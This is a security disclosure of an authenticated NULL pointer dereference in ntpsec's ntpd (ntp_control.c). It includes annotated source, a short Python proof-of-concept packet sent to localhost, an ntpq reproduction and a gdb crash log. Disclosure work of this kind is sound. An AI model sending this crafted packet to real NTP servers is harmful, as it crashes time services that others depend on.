Authenticated remotely triggerable NULL pointer dereference in ntp_control.c

Please note that I will publicly disclose this issue no later than January 18, 2019. 90 days from today.

It was found possible for an authenticated attacker to cause the ntpd daemon to SIGSEGV due to a NULL pointer dereference in ntp_control.c.

  2875 static void
  2876 write_variables(
  2877   struct recvbuf *rbufp,
  2878   int restrict_mask
  2879   )
  2880 {
  2881   const struct ctl_var *v;
  2882   int ext_var;
  2883   char *valuep;                                                                                                                                             
  2884   long val;
  ...
  2893   val = 0;
  ...
  2911   while ((v = ctl_getitem(sys_var, &valuep)) != 0) {     // <- valuep is set to NULL in ctl_getitem()
  2912     ext_var = 0;
  ...
  2929     errno = 0;
  2930     if (!ext_var && (*valuep == '\0'                         // <- valuep is dereferenced
  2931          || (val = strtol(valuep, NULL, 10), errno != 0))) {
2509 ctl_getitem(
2510   const struct ctl_var *var_list,
2511   char **data
2512   )
2513 {
...
2521   static const struct ctl_var eol = { 0, EOV, NULL };
2522   static char buf[128];
2523   static u_long quiet_until;
2524   const struct ctl_var *v;
2525   char *cp;
2526   char *tp;
...
2538 
2539   /* Scan the string in the packet until we hit comma or
2540    * EoB. Register position of first '=' on the fly. */
2541   for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {       // <- tp set to NULL
2542     if (*cp == '=' && tp == NULL)                         // <- condition is never met due to missing value in request
2543       tp = cp;                                            // (the request doesn't contain an equals sign)
2544     if (*cp == ',')
2545       break;
2546   }
2547 
2548   /* Process payload, if any. */
2549   *data = NULL;                                           // <- *data set to NULL                                                                                                                                                
2550   if (NULL != tp) {                                       // <- condition is false, as tp is NULL
...
2566     /* copy data, NUL terminate, and set result data ptr */
2567     memcpy(buf, plhead, plsize);
2568     buf[plsize] = '\0';
2569     *data = buf;                                          // <- this line is never executed, *data remains NULL
2570   } else {
2571     /* no payload, current end --> current name termination */
2572     tp = cp;
2573   }
...
2615   if (EOV & v->flags)                // <- (0x80 & 3) evaluates to true
2616     *data = NULL;                    // <-- *data set to NULL again
2617   else
2618     reqpt = cp + (cp != reqend);
2619   return v;

Using ntpq from ntp classic, an authenticated writevar request without a value was sent to trigger the issue.

Proof of concept exploit:

#!/usr/bin/env python
import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

Alternatively ntpq from ntp classic can be used:

ntp-4.2.8p12/ntpq/ntpq 127.0.0.1
ntpq> writevar 0 leap                <-- note the absense of a variable value
Keyid: 1
MD5 Password:                        <-- enter the correct password, in this example "gurka"
127.0.0.1: timed out, nothing received
***Request timed out
ntpq> 
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ cat ~/resources/ntp.conf 
#server 127.127.1.0 prefer
#fudge  127.127.1.0 stratum 10
#driftfile /var/lib/ntp/drift
#broadcastdelay 0.008

#logfile /tmp/ntp.log

# Give localhost full access rights
restrict 127.0.0.1

# Given local machine access to query
#restrict 172.16.59.179 mask 255.255.255.255 nomodify notrap
# disable auth
#enable auth
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ vi ~/resources/keys 
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ cat ~/resources/keys 
1 M gurka
2 M agurk
magnus@h4xb0x:~/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2$ sudo gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./build/main/ntpd/ntpd...done.
(gdb) r
Starting program: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2018-10-20T20:48:48 ntpd[75861]: INIT: ntpd ntpsec-1.1.2 2018-10-20T17:59:05Z: Starting
2018-10-20T20:48:48 ntpd[75861]: INIT: Command line: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: INIT: precision = 0.121 usec (-23)
2018-10-20T20:48:48 ntpd[75861]: INIT: successfully locked into RAM
2018-10-20T20:48:48 ntpd[75861]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: CONFIG: requestkey is a no-op because ntpdc has been removed.
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: reading /home/magnus/resources/keys
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: added 2 keys
2018-10-20T20:48:48 ntpd[75861]: INIT: Using SO_TIMESTAMPNS
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 0 v6wildcard [::]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 2 lo 127.0.0.1:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 3 eth0 192.168.245.220:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 4 eth0 192.168.245.131:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 5 lo [::1]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-20T20:48:48 ntpd[75861]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x000055555557d7f6 in write_variables (rbufp=0x5555557b3bb0, restrict_mask=0) at ../../ntpd/ntp_control.c:2930
2930      if (!ext_var && (*valuep == '\0'
(gdb)